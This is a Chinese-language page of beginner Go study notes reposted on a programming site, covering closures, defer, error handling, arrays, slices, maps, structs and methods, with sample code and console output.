可以发现 全局变量 > init > main

多个源文件都有init函数的执行流程

main.go

package main
​
import ("fmt""learn/add"
)
​
var num int = test()
​
func test() int {fmt.Println("test函数被执行")return 10
}
​
func main() {fmt.Println("main函数被执行")fmt.Println("name: ", addd.Name, "age:", addd.Age)
}
​
func init() {fmt.Println("init被执行")
}
​

add.go

package addd
​
import "fmt"
​
var (Age  intName string
)
​
func init() {fmt.Println("adDd的init被执行了")Age = 18Name = "fuck"
}
​
adDd的init被执行了   //package addd的init被执行
test函数被执行      // 全局变量
init被执行         //main中的init
main函数被执行      //main函数
name:  fuck age: 18//虽然导入内容为init  但是执行的函数是main

匿名函数

希望一个函数只被使用一次 那么就使用匿名函数
​
1 定义匿名函数的 是直接调用 这种方式的匿名函数只能使用一次
2 将匿名函数赋值给一个变量(该变量现在就是函数变量了) 然后再通过该变量调用匿名函数   (需要多次使用)
package main
​
import "fmt"
​
func main() {//定义匿名函数res := func(num1 int, num2 int) int {return num1 + num2}(10, 20)  // 这里可以发现 我们创建完直接调用fmt.Println(res)
}
​
package main
​
import "fmt"
​
func main() {//定义匿名函数res := func(num1 int, num2 int) int {return num1 + num2}a := res(1, 2)   //可以发现是通过res 接受到了函数变量 fmt.Println(a)
}
​
package main
​
import "fmt"
//这里是全局变量的匿名函数
var res = func(num1 int, num2 int) int {return num1 + num2
}
​
func main() {//定义匿名函数a := res(1, 2)fmt.Println(a)
}
​

闭包

函数和引用环境组成的一个整体
package main
​
import "fmt"
​
//函数名为 getSum 参数为空
// 返回值为一个函数 这个函数的参数类型是一个int 并且它的返回值为int
func getSum() func(int) int {var n int = 18return func(num int) int {n = n + numreturn n}
}
//闭包就是上面的匿名函数+n 
func main() {res := getSum()
​fmt.Println(res(1))fmt.Println(res(2)) //不是20 而是 21 说明 上面定义的函数 中的 n 被修改了 但是当被注释掉了 上面的1 时 就可以发现是20
}
​
PS D:\GO\src\learn> go run "d:\GO\src\learn\main\main.go"
19
21

总结一下 匿名函数 + 引用的变量和参数 == 闭包  // 依旧是匿名函数
​
返回的是匿名函数
闭包的参数会一直保存在内存中(一次运行的时候)----不可滥用 对内存消耗大
​
什么时候需要 就是需要参数一直保存在内存中的时候 就需要使用闭包

这里的话就是每次都需要传递参数进入(没有使用闭包)

defer关键字

函数执行完 defer释放关键字

package main
​
import "fmt"
​
func add(num1 int, num2 int) int {defer fmt.Println("num1", num1)defer fmt.Println("num2", num2)var sum int = num1 + num2fmt.Println("sum:", sum)return sum
}
​
func main() {fmt.Println(add(1, 2))
}
​
PS D:\GO\src\learn> go run "d:\GO\src\learn\main\main.go"
sum: 3
num2 2
num1 1
3

可以发现 defer是将内容存入栈中 先进后出 所以我们可以发现 首先输出了 sum --- > num2 ----> num1---->函数结束 到main

遇到defer关键字 不会立即执行defer后的语句 将defer后的语句 压入栈内 (后进先出)
继续执行下面的内容

defer的应用场景

关闭使用的资源 随手defer defer 存在延迟执行 (函数执行完毕再执行defer)

系统函数

len 统计字符串的长度
​
​

字符串的遍历

r :=[]rune(str)

package main
​
import "fmt"
​
func main() {str := "golang你好"for i, value := range str {fmt.Printf("索引为 %d,具体为 %c\n", i, value)}//利用切片fmt.Println("-----------------------------------------------------")r := []rune(str)for i := 0; i < len(r); i++ {fmt.Printf("内容为 %c\n", r[i])}
}
​

类型转换

n,err := strconv.Atoi()
​
s := strconv.Itoa()

package main
​
import ("fmt""strconv"
)
​
func main() {num1, err := strconv.Atoi("666")fmt.Printf("类型是: %t, %t\n", num1, err)
​num2 := strconv.Itoa(666)fmt.Printf("类型是: %t\n", num2)
}
​
PS D:\GO\src\learn> go run "d:\GO\src\learn\main\main.go"
类型是: %!t(int=666), %!t(<nil>)
类型是: %!t(string=666)

查找子串 是否在指定的 字符串中

strings.Contains()

package main
​
import ("fmt""strings"
)
​
func main() {a := strings.Contains("nonono", "on")fmt.Println(a)
}
​
PS D:\GO\src\learn> go run "d:\GO\src\learn\main\main.go"
true

统计一个字符串中存在多少子串

strings.Count()
package main
​
import ("fmt""strings"
)
​
func main() {a := strings.Count("nonono", "no")fmt.Println(a)
}
​
PS D:\GO\src\learn> go run "d:\GO\src\learn\main\main.go"
3

不区分大小写的比较

string.EqualFold()

package main
​
import ("fmt""strings"
)
​
func main() {a := strings.EqualFold("heloo", "HELOo")fmt.Println(a)
}
​
PS D:\GO\src\learn> go run "d:\GO\src\learn\main\main.go"
true

区分大小写的字符串比较

package main
​
import ("fmt"
)
​
func main() {fmt.Println("hello" == "hEllo")
}
​

返回字符串第一次出现的索引值

strings.Index()
如果不存在是 返回 -1

package main
​
import ("fmt""strings"
)
​
func main() {a := strings.Index("abcdefg", "f")fmt.Println(a)
}
​
PS D:\GO\src\learn> go run "d:\GO\src\learn\main\main.go"
5

字符串的替换

strings.Replace("字符串","需要替换的字符串","替换为的值",n) // n为几个 -1 就是全部 其他就是个数

将字符串按照某个字符进行切割

arr := strings.Split("a-b-c-d",'-') //最后会变为一个数组

字符串大小写的切换

strings.ToLower("字符串")  //小写
strings.ToUpper("字符串")  //大写

将字符串左右两个空格去掉

strings.TrimSpace("        字符串       ")

将字符串左右两边指定的字符去掉 (或者指定左右)

strings.Trim("~~~字符串~~~","~")
strings.TrimLeft("~~~字符串~~~","~")
strings.TrimRight("~~~字符串~~~","~")

判断是否以指定字符串开头/结尾

strings.HasPrefix("https://baidu.com","https")
strings.HasSuffix("https://baidu.com","com")

日期时间函数

package main
​
import ("fmt""time"
)
​
func main() {a := time.Now()fmt.Println(a)fmt.Printf("%T\n", a)fmt.Printf("年:%v\n", a.Year())b := fmt.Sprintf("年:%v", a.Year())fmt.Println(b)  //通过 Sprintf 可以将字符串存储到变量中
}
​
2023-12-05 09:07:37.7813106 +0800 CST m=+0.001547901
time.Time  //结构体
年:2023

指定格式

package main
​
import ("fmt""time"
)
​
func main() {a := time.Now()fmt.Println(a)fmt.Printf("%T\n", a)fmt.Printf("年:%v\n", a.Year())b := fmt.Sprintf("年:%v", a.Year())fmt.Println(b)fmt.Println("---------------------------------------")cbd := a.Format("2006/01/02 15/04/04")//按照这种格式来写 这里内容需要固定 01 02fmt.Println(cbd)zbcd := a.Format("2006 15/04")  //可以发现任意组合即可fmt.Println(zbcd)
}
​
---------------------------------------
2023/12/05 09/18/18
2023 09/18

这里的时间是必须要为 2006/01/02 15/04/05

内置函数

len
new : 用来分配内存的 以第一个实参的类型 而不是值 返回值是指向该类型新分配的指针
​
package main
​
import "fmt"
​
func main() {num := new(int)fmt.Printf("%T\n%v\n%v", num, &num, *num)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
*int          发现是一个指针
0xc00005e020
0

分配内存的其他函数

make

错误处理机制

正常的报错

package main
​
import "fmt"
​
func main() {test()
}
func test() {num1 := 10num := 0result := num1 / numfmt.Println(result)
}
​
panic: runtime error: integer divide by zero
​
goroutine 1 [running]:
main.test()D:/GO/src/learn/main/main.go:11 +0x9
main.main()D:/GO/src/learn/main/main.go:6 +0xf 
exit status 2

发现这里是报错 状态2

错误捕获机制

格式

defer recover 
recover:允许程序 管理错误
再defer 中 执行 recover 捕获错误, 如果再defer外 就不会停止程序
package main
​
import ("fmt"
)
​
func main() {test()fmt.Println("但是被捕获后 代码还会继续执行")
}
​
func test() {//defer + recover + 匿名函数的调用defer func() {//调用recover 捕获错误err := recover()if err != nil {fmt.Println("捕获错误了")fmt.Println("错误为:", err)}}()num1 := 10num2 := 0res := num1 / num2fmt.Println(res)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\tempCodeRunnerFile.go"
捕获错误了
错误为: runtime error: integer divide by zero
但是被捕获后 代码还会继续执行

自定义错误

通过 err := errors.New("字符串")
输出为 "字符串"

package main
​
import ("errors""fmt"
)
​
func main() {err := test()if err != nil {fmt.Println("自定义错误:", err)}fmt.Println("但是被捕获后 代码还会继续执行")
​
}
​
func test() (err error) {num1 := 10num2 := 0if num2 == 0 {//抛出自定义错误return errors.New("除数不能为0!!")} else {res := num1 / num2fmt.Println(res)//正确就返回0值return nil}
​
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
自定义错误: 除数不能为0!!
但是被捕获后 代码还会继续执行

这里如果我们想报错后直接停止 我们可以使用 panic 函数实现

    if err != nil {fmt.Println("自定义错误:", err)panic(err)}
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
自定义错误: 除数不能为0!!
panic: 除数不能为0!!
​
goroutine 1 [running]:
main.main()c:/Users/Administrator/Desktop/go/src/learn/main/main.go:12 +0xdd
exit status 2

数组

package main
​
import "fmt"
​
func main() {//给出学生的成绩 总和和平均数var scores [5]intscores[1] = 95scores[2] = 91scores[3] = 39scores[4] = 60scores[0] = 21res := 0for i := 0; i < len(scores); i++ {res += scores[i]}fmt.Println(res)avg := res / len(scores)fmt.Println(avg)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
306
61

定义数组的格式

var 数组名字 [大小]类型
var num [6]int

数组的内存分析

package main
​
import "fmt"
​
func main() {var arr [3]int16fmt.Println(len(arr))fmt.Println(arr)fmt.Printf("%p\n", &arr) //打印地址出来fmt.Printf("%p\n", &arr[0])fmt.Printf("%p\n", &arr[1])fmt.Printf("%p\n", &arr[2])
​
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
3
[0 0 0]
0xc00000a0b8
0xc00000a0b8
0xc00000a0ba
0xc00000a0bc
// 能发现 数组开始是从 [0] 开始 并且是一块连续的空间   int16占2字节 所以占多大只是根据类型进行判断
package main
​
import "fmt"
​
func main() {var arr [3]int16fmt.Println(len(arr))fmt.Println(arr)fmt.Printf("%p\n", &arr) //打印地址出来fmt.Printf("%p\n", &arr[0])fmt.Printf("%p\n", &arr[1])fmt.Printf("%p\n", &arr[2])arr[0] = 10arr[1] = 20arr[2] = 30fmt.Println("---------------------------")fmt.Printf("%p\n", &arr) //打印地址出来fmt.Printf("%p\n", &arr[0])fmt.Printf("%p\n", &arr[1])fmt.Printf("%p\n", &arr[2])
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
3
[0 0 0]
0xc00000a0b8
0xc00000a0b8
0xc00000a0ba
0xc00000a0bc
---------------------------
0xc00000a0b8
0xc00000a0b8
0xc00000a0ba
0xc00000a0bc

能发现 地址没有修改 只是修改了 地址中的值而已

数组的遍历

package main
​
import ("fmt"
)
​
func main() {//给出学生的成绩 总和和平均数var scores [5]int// scores[1] = 95// scores[2] = 91// scores[3] = 39// scores[4] = 60// scores[0] = 21for i := 0; i < len(scores); i++ {fmt.Printf("请录入第%d个学生成绩:", i+1)fmt.Println()fmt.Scanln(&scores[i])}//遍历输出//1 for 循环for i := 0; i < len(scores); i++ {fmt.Printf("第%d个成绩为:%d\n", i+1, scores[i])}fmt.Println("--------------------------------------")//2 for range 循环for key, value := range scores {fmt.Printf("第%d个成绩为:%d\n", key+1, value)}fmt.Println("--------------------------------------")//2 for range 循环for _, value := range scores {fmt.Printf("成绩为:%d\n", value)}
}
​
PS C:\Users\Administrator\Desktop\go\src\learn\main> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
请录入第1个学生成绩:
99
请录入第2个学生成绩:
98
请录入第3个学生成绩:
77
请录入第4个学生成绩:
5
请录入第5个学生成绩:
4
第1个成绩为:99
第2个成绩为:98
第3个成绩为:77
第4个成绩为:5
第5个成绩为:4
--------------------------------------
第1个成绩为:99
第2个成绩为:98
第3个成绩为:77
第4个成绩为:5
第5个成绩为:4
--------------------------------------
成绩为:99
成绩为:98
成绩为:77
成绩为:5
成绩为:4

可以发现 使用

for key,value := range 数组 {   //这里的话 key就接受到了下标值 value是下标对应的值
​
}
如果选择不接受的话 使用 _ 来忽略

数组的初始化

package main
​
import "fmt"
​
func main() {//1var arr1 [3]int = [3]int{1, 2, 3}fmt.Println(arr1)//2var arr2 = [3]int{2, 3, 4}fmt.Println(arr2)//3var arr3 = [...]int{1, 2, 3, 4, 5}fmt.Println(arr3)//4var arr4 = [...]int{2: 66, 6: 55}fmt.Println(arr4)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
[1 2 3]
[2 3 4]
[1 2 3 4 5]      
[0 0 66 0 0 0 55]

四种初始化的方式

数组的注意事项

【1】长度属于类型的一部分 :

【2】Go中数组属值类型,在默认情况下是值传递,因此会进行值拷贝。

【3】如想在其它函数中,去修改原来的数组,可以使用引用传递(指针方式)。

多维数组

package main
​
import "fmt"
​
func main() {var arr [2][3]int16fmt.Println(arr)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
[[0 0 0] [0 0 0]]  //套娃 数组里 又是数组

二维数组的遍历

package main
​
import ("fmt"
)
​
func main() {
​var arr [3][3]int = [3][3]int{{1, 2, 3}, {4, 5, 6}, {7, 8, 9}}// fmt.Println(arr)//1for i := 0; i < len(arr); i++ {for k := 0; k < len(arr); k++ {fmt.Printf("arr[%d][%d]的值为%d\t", i, k, arr[i][k])}fmt.Println()}//2fmt.Println("---------------------------------------------")for key, value := range arr {for k, v := range value {fmt.Printf("arr[%d][%d]的值为%d\t", key, k, v)}fmt.Println()}
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
arr[0][0]的值为1        arr[0][1]的值为2        arr[0][2]的值为3
arr[1][0]的值为4        arr[1][1]的值为5        arr[1][2]的值为6
arr[2][0]的值为7        arr[2][1]的值为8        arr[2][2]的值为9
---------------------------------------------
arr[0][0]的值为1        arr[0][1]的值为2        arr[0][2]的值为3
arr[1][0]的值为4        arr[1][1]的值为5        arr[1][2]的值为6
arr[2][0]的值为7        arr[2][1]的值为8        arr[2][2]的值为9

切片

slice 是go中特定的类型

数组--> 长度不可变 给了就是多少
数组比较少用 切片较多
切片是对数组一个连续片段的引用 是一个引用类型

可以是整个数组 也可以是一个片段

package main
​
import "fmt"
​
func main() {var intarr [6]int = [6]int{1, 2, 3, 4, 5, 6}fmt.Println(intarr)//切片的定义 :是一个动态变换的数组 所以长度不写//[1:3] 大于等于1 小于3 (取不到3)var slice []int = intarr[1:3]fmt.Println(slice)//获取切片的容量fmt.Println(cap(slice))
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
[1 2 3 4 5 6]
[2 3]
5 

所以本质上还是一个数组

切片的内存分析

按照上面的来

所以这里我们对切片进行修改 数组的值也会修改 因为我们获取到的是数组的地址

引用数据类型

切片的定义

1

让切片去引用一个定义好的数组
var arr [3]int = [3]int{1,2,3}
qiepian := arr[1:2]

2

通过make内置函数进行创建
var 切片名[type = make([],len,[cap])]
package main
​
import "fmt"
​
func main() {qiepain := make([]int, 4, 20)fmt.Println(qiepain)qiepain[0] = 666qiepain[1] = 888fmt.Println(qiepain)
}
​

这里可以发现 是数组

make 是对底层创建一个数组 对外不可见 要通过 切片间接操作 不可以直接对数组进行操作

3

定义一个切片 指定具体的数组 对外不可操作 类似make
package main
​
import "fmt"
​
func main() {qiepian := []int{1, 2, 3}fmt.Println(qiepian)
}
​

切片的遍历

和普通数组差不多

package main
​
import "fmt"
​
func main() {
​slice := []int{1, 2, 3}//普通for循环for i := 0; i < len(slice); i++ {fmt.Println(slice[i])}fmt.Println("-----------------------------------")//for range 循环for key, value := range slice {fmt.Printf("第%d位的值为:%d\n", key+1, value)}
}
​

切片的注意事项

切片被定义不可直接使用 需要引用到一个数组 或者通过make 创建 空的数组

package main
​
import "fmt"
​
func main() {var slice []intfmt.Println(slice)
}
​
[]

切片被使用的时候不能越界

package main
​
import "fmt"
​
func main() {var arr [6]int = [6]int{1, 2, 3, 4, 5, 6}var slice []int = arr[1:4]fmt.Println(slice)// fmt.Println(slice[3])  这里越界了 超出切片的范围了
}
​

切片的简写

var slice = arr[0:end] ------> var slice = arr[:end]
var slice = arr[start:len(arr)] ------> var slice = arr[start:]
var slice = arr[0:len(arr)] -------> var slcie = arr[:] 

切片可以连续切片

package main
​
import "fmt"
​
func main() {var arr [6]int = [6]int{1, 2, 3, 4, 5, 6}var slice []int = arr[1:4]fmt.Println(slice)// fmt.Println(slice[3])  这里越界了 超出切片的范围了slice2 := slice[1:2]fmt.Println(slice2)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
[2 3 4]
[3]

发现在切的时候 继续切

切片可以动态增长

package main
​
import "fmt"
​
func main() {var arr [6]int = [6]int{1, 2, 3, 4, 5, 6}var slice []int = arr[1:4]fmt.Println(slice)// fmt.Println(slice[3])  这里越界了 超出切片的范围了slice2 = append(slice, 123)fmt.Print(slice2)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
[2 3 4]
[2 3 4 123]

发现通过 append 实现了动态增长 其实这里的数组 slice 被拷贝到 slice2 并且加入 123了

但是一般使用的时候 不会通过新的 所以直接应该赋值给 slice

底层的新数组 slice 不能直接维护 还是需要通过切片间接维护操作

这里还可以追加 切片

package main
​
import "fmt"
​
func main() {var arr [6]int = [6]int{1, 2, 3, 4, 5, 6}var slice []int = arr[1:4]fmt.Println(slice)// fmt.Println(slice[3])  这里越界了 超出切片的范围了slice = append(slice, 123)fmt.Println(slice)slice3 := []int{1, 2, 3}slice = append(slice, slice3...)fmt.Println(slice)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
[2 3 4]
[2 3 4 123]
[2 3 4 123 1 2 3]

发现是追加了切片内容

切片的拷贝(复制)

package main
​
import "fmt"
​
func main() {var slice []int = []int{1, 2, 3, 4}var slice2 []int = make([]int, 10)//拷贝copy(slice2, slice)   //slice ----> 复制给 ------> slice2fmt.Println(slice2)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
[1 2 3 4 0 0 0 0 0 0]

映射 MAP

将键值对 进行关联

其实就是一对匹配的信息
学生学号-学生姓名
2021 - xxx
键 key - 值 value

基本的语法

var 变量名 map[key]value
key 一般为 string int
value 一般 int string map  结构体

map是无序的 无法保证顺序

key重复就会按照最后一个存储的内容

package main
​
import "fmt"
​
func main() {a := map[int]string{123123: "张三",}fmt.Println(a)
}
​

最经常使用的存储数据的方式

对map的操作

package main
​
import "fmt"
​
func main() {a := map[int]string{123123: "张三",}
​fmt.Println(a)fmt.Println("-------------------------")a[1231234] = "不是张三"fmt.Println(a)
}
​
map[123123:张三]
-------------------------        
map[123123:张三 1231234:不是张三]

package main
​
import "fmt"
​
func main() {a := map[int]string{123123: "张三",}
​fmt.Println(a)fmt.Println("-------------------------")a[123123] = "不是张三"fmt.Println(a)
}
​
map[123123:张三]
-------------------------
map[123123:不是张三]   

使用 delete(map,'key')

package main
​
import "fmt"
​
func main() {a := map[int]string{123123: "张三",}
​fmt.Println(a)fmt.Println("-------------------------")a[1231234] = "不是张三"fmt.Println(a)fmt.Println("-------------------------")delete(a, 1231234)fmt.Println(a)
}
​
map[123123:张三]
-------------------------
map[123123:张三 1231234:不是张三]
-------------------------
map[123123:张三]

一次性清空 那么就进行遍历 / map 重新make一个集合

package main
​
import "fmt"
​
func main() {a := map[int]string{123123: "张三",}
​fmt.Println(a)fmt.Println("-------------------------")a[1231234] = "不是张三"fmt.Println(a)fmt.Println("-------------------------")delete(a, 1231234)fmt.Println(a)a = make(map[int]string)a[1] = "新的map"fmt.Println("-------------------------")fmt.Println(a)
}
​
map[123123:张三]
-------------------------
map[123123:张三 1231234:不是张三]
-------------------------
map[123123:张三]
-------------------------
map[1:新的map]

value,bool=map[key]
package main
​
import "fmt"
​
func main() {a := map[int]string{123123: "张三",}
​value, flag := a[123123]fmt.Println(value, flag)
}
​
张三 true

遍历查看

package main
​
import "fmt"
​
func main() {a := map[int]string{123123: "张三",123311: "2222",}
​// value, flag := a[123123]// fmt.Println(value, flag)for key, value := range a {fmt.Printf("索引为%v对应的数为:%v\n", key, value)}
}
​
索引为123123对应的数为:张三
索引为123311对应的数为:2222

len查看

package main
​
import "fmt"
​
func main() {a := map[int]string{123123: "张三",123311: "2222",}
​// value, flag := a[123123]// fmt.Println(value, flag)fmt.Println(len(a))
}
​
2

对map的内容 map中的map

package main
​
import "fmt"
​
func main() {a := make(map[string]map[int]string)a["第一个"] = make(map[int]string)a["第一个"][1] = "nonono"a["第一个"][2] = "yesyesyes"for _, v := range a {fmt.Println(v)for _, v1 := range v {fmt.Println(v1)}}
}
​
map[1:nonono 2:yesyesyes]
nonono
yesyesyes

面向对象

结构体的引入

人 xxx : 姓名:111  age:18 性别:男
​
我们如果想表示这个人的对象的话
package main
​
import "fmt"
​
type xxx struct {name stringage  intsex  string
}
​
func main() {//人 xxx : 姓名:111  age:18 性别:男
​var n xxxfmt.Println(n)n.name = "123"n.age = 18n.sex = "男"fmt.Println("---------")fmt.Println(n)
}
​
{ 0 }
---------
{123 18 男}

结构体的内存分析

package main
​
import "fmt"
​
type xxx struct {name stringage  intsex  string
}
​
func main() {//人 xxx : 姓名:111  age:18 性别:男
​var n xxx = xxx{age: 18, name: "123", sex: "男"}fmt.Println(n)
}
​
{123 18 男}

创建的方式

package main
​
import "fmt"
​
type xxx struct {name stringage  intsex  string
}
​
func main() {//人 xxx : 姓名:111  age:18 性别:男
​var n *xxx = new(xxx)// n 现在变为了  指针(*n).age = 18(*n).name = "123"n.sex = "女" // 这里其实底层下 还是对n 进行n 转换 (*n).sex = "女"fmt.Println(*n)
}
​
{123 18 女}

所以我们一般都是使用 对象.属性

结构体之间的转换

和其他结构体转换的时候 必须要有相同的字段

package main
​
import "fmt"
​
type xxx struct {age int
}
type person struct {age int
}
​
func main() {var s xxxvar a persona.age = 18s = xxx(a)fmt.Println(s)fmt.Println(a)
}
​
{18}
{18}

如果对结构体 重新命名 那么golang中就认为是全新的结构体

package main
​
import "fmt"
​
type xxx struct {age int
}
type person xxx
​
func main() {var s xxxvar a persona.age = 18s = xxx(a)fmt.Println(s)fmt.Println(a)
}
​
{18}
{18}

方法

其实是结构体中的 行为/方法/动作 就是 方法
方法的函数的区别
方法:
type a struct{num int
}
func (A a) test(){fmt.Println(a.num)
}
​
调用:
var A a
a.test()
package main
​
import "fmt"
​
type xxx struct {name stringage  int
}
​
func (a xxx) fmt() {a.age = 19fmt.Println("我是方法:", a.age)
}
func main() {var A xxx = xxx{age: 18}A.fmt()fmt.Println("我不是方法:", A.age)
}
​
我是方法: 19
我不是方法: 18

可以发现这里我们调用 fmt 方法 是类似于函数一样 但是其实本质的值是没有改变的

方法和结构体是绑定的 必须要声明为该对象

方法的注意

1

方法是值拷贝 不是引用

如果我们想修改值 需要通过 指针实现

package main
​
import "fmt"
​
type xxx struct {name stringage  int
}
​
func (a *xxx) fmt() {a.age = 19fmt.Println("我是方法:", a.age)
}
func main() {var A xxx = xxx{age: 18}A.fmt()fmt.Println("我不是方法:", A.age)
}
​
我是方法: 19
我不是方法: 19

2

方法的权限

和函数一样 大小写 就区别了 本包和其他包访问

函数和方法的区别

方法:需要绑定指定数据类型
函数:不需要
package main
​
import "fmt"
​
type xxx struct {name stringage  int
}
​
//方法的定义
func (a xxx) test() {fmt.Println(a)
}
​
//函数的定义
func functest(a xxx) {fmt.Println(a)
}
​
var a xxx = xxx{age: 12}
​
func main() {//方法的调用a.test()//函数的调用functest(a)
}
​
{ 12}
{ 12}
方法:如果接受为值类型 可以传入指针 如果是指针类型 可以传入值
函数:定义了什么类型 就必须要什么类型的传入
package main
​
import "fmt"
​
type xxx struct {name stringage  int
}
​
//方法的定义
func (a xxx) test() {fmt.Println(a)
}
​
var a xxx = xxx{age: 12}
​
func main() {//方法的调用a.test()(&a).test() //可以发现还是可以传入 指针类型 
}
package main
​
import "fmt"
​
type xxx struct {name stringage  int
}
​
//方法的定义
func (a xxx) test() {a.age = 29fmt.Println(a)
}
​
var a xxx = xxx{age: 12}
​
func main() {//方法的调用(&a).test() //虽然传入了指针 但是因为方法中不是引用类型 而是值类型 所以不会修改原本的值fmt.Println(a)
}
​
{ 29}
{ 12}

在结构体的时候 对字段进行指定

1.按照顺序赋值

package main
​
import "fmt"
​
type xxx struct {name stringage  int
}
​
​
​
func main() {var s xxx = xxx{"123", 19}fmt.Println(s)
}
​
{123 19}

但是又局限性 不好

2.指定类型

package main
​
import "fmt"
​
type xxx struct {name stringage  int
}
​
func main() {var s xxx = xxx{age: 19, name: "123"} //可以发现顺序不一样也无所谓fmt.Println(s)
​
}
​
{123 19}

3.返回结构体的指针

package main
​
import "fmt"
​
type xxx struct {name stringage  int
}
​
func main() {var n *xxx = &xxx{"123", 19 } //这个时候 n 就为指针了fmt.Println(*n)
​
}
​
{123 19}

跨包进行结构体的创建

其实一样 只要结构体为 大写
然后 import 包 
但是方法的时候 需要指定包 
包.结构体
package main
​
import ("fmt""learn/add"
)
​
func main() {var n add.Xxx = add.Xxx{"123", 19}fmt.Println(*n)
​
}
​

add

package add
​
type Xxx struct {name stringage  int
}
​

封装

1.首字母进行小写 类似私有
2.提供一个函数 首字母大写 
3. 提供Set方法 对方法进行访问
package main
​
import ("fmt""study/add"
)
​
func main() {p := add.NewXxx("小屋")p.SetAge(18)fmt.Println(p.Name)fmt.Println(p.GetAge())fmt.Println(*p)
}
​

add

package add
​
import "fmt"
​
type xxx struct { //其他包不能直接访问了Name string //可以直接访问age  int    //不可以直接访问 所以我们进行封装
}
​
// 定义工厂模式的函数
func NewXxx(name string) *xxx {return &xxx{Name: name}
}  //这样我们可以将外面的包 的值传入
​
//定义set和get方法 对 age进行封装 因为 函数中可以加一系列的限制 确保程序的安全
​
func (p *xxx) SetAge(age int) {if age >= 0 && age <= 150 {p.age = age} else {fmt.Println("nonono")}
}
​
//通过调用方法 对这个包中的私有参数 进行调试
​
func (p *xxx) GetAge() int {return p.age
} //需要通过函数对 私有参数进行返还
​

所以我们可以发现 如果我们想对私有进行操作 保护私有参数 我们需要通过函数来进行值/指针的传递 这里就是封装

继承

这个父类 被下面结构体作为一个匿名的结构体

其实类似于代码的复用

package main
​
import "fmt"
​
func main() {//创建实例cat := &Cat{}cat.Animal.Name = "丽丽"cat.Animal.shot()cat.scratch()
}
​
type Animal struct {Age    intName   stringWeight float32
}
​
//给anmial 绑定方法
​
func (an *Animal) shot() {fmt.Printf("%v在叫\n", an.Name)
}
​
//通过匿名结构体进行复用
type Cat struct {Animal
}
​
func (c Cat) scratch() {fmt.Println("我123")
}
​
PS D:\GO\src\study> go run "d:\GO\src\study\main\main.go"
丽丽在叫
我123

其实这里就体现了 定义一个结构体 然后嵌入即可实现

继承的注意事项

父类 无论大小写 都是可以被嵌入的(一个包)

上面其实可以不需要animal中

就是

func main() {//创建实例cat := &Cat{}cat.Name = "丽丽"cat.shot()cat.scratch()
}
​

不需要提及父类

并且这里会存在就近原则

如果cat中也有一个age 就会通过cat 的age

如果我们需要

那么就 cat.animal.age

go中支持多继承

 

这里是md文件复制进来的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/222657.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

日期问题(C语言蓝桥杯2017年题目G)

分析&#xff1a;我们输入的AA/BB/CC有三种情况&#xff0c;所以我们编写一个函数&#xff0c;来判断三个数字作为 年 月 日是否合法&#xff0c;合法就输出&#xff0c;不合法就终止&#xff0c;还要查重&#xff0c;如果有相同的时间&#xff0c;就不重复打印&#xff0c;…

如何看待「前端已死论」?

&#x1f680; 作者主页&#xff1a; 有来技术 &#x1f525; 开源项目&#xff1a; youlai-mall &#x1f343; vue3-element-admin &#x1f343; youlai-boot &#x1f33a; 仓库主页&#xff1a; Gitee &#x1f4ab; Github &#x1f4ab; GitCode &#x1f496; 欢迎点赞…

oracle 修改监听端口

oracle的监听是非常重要的一个功能组件&#xff0c;在Oracle数据库服务器中&#xff0c;通过一个叫“监听器”的组件接收来自客户端的连接请求。它是客户端和服务器端的中间组件。监听器&#xff08;LISTENER&#xff09;是位于服务器端的、独立运行的一个后台进程&#xff0c;…

微信小程序 实现上传图片前裁剪功能

前言 技术支持&#xff1a; wx-cropper 裁剪 总体思路是&#xff1a;安装完wx-cropper之后就它当成组件使用。在使用页面的地方引入组件就行。上传图片的逻辑不变&#xff0c;在 通过wx.chooseMedia() Api 拿到图片之后传递给子组件&#xff0c;子组件在拿到图片进行裁剪处理等…

路由器原理

目录 一.路由器 1.路由器的转发原理 2.路由器的工作原理 二.路由表 1.路由表的形成 2.路由表表头含义 直连&#xff1a; 非直连&#xff1a; 静态 静态路由的配置 负载均衡&#xff08;浮动路由&#xff09; 默认路由 动态 三.交换与路由对比 一.路由器 1.路由器…

快速多列查找匹配关键字

实例需求&#xff1a;根据第一列专业名称&#xff0c;在“专业分类指导目录”中&#xff0c;针对三个学历层次&#xff08;研究生、本科生、专科生&#xff09;分别查找对应专业类别&#xff0c;填写在对应位置&#xff0c;即截图中的黄色区域。 需要注意如下两点&#xff1a; …

OpenCV开发:编译安装opencv

